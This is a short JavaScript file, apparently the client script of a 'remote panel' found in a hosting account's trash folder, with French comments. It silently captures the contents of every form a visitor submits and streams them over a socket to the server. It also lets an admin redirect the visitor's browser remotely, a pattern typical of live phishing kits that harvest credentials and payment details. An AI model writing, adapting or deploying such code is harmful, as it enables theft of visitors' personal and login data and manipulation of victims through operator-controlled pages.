/home2/mshostin/.trash/remote_panel/public/script.js
const socket = io('/remote_app');

// Envoyer page actuelle et formulaire au serveur
function sendAction(page, formData) {
  socket.emit('visitorAction', { page, formData });
}

// Envoyer page actuelle au chargement
sendAction(document.title, {});

// Gérer les formulaires
document.querySelectorAll('form').forEach(form => {
  form.addEventListener('submit', e => {
    e.preventDefault();
    const data = {};
    new FormData(form).forEach((value, key) => data[key] = value);
    sendAction(document.title, data);
    form.submit();
  });
});

// Redirection depuis admin
socket.on('redirect', page => {
  window.location.href = page;
});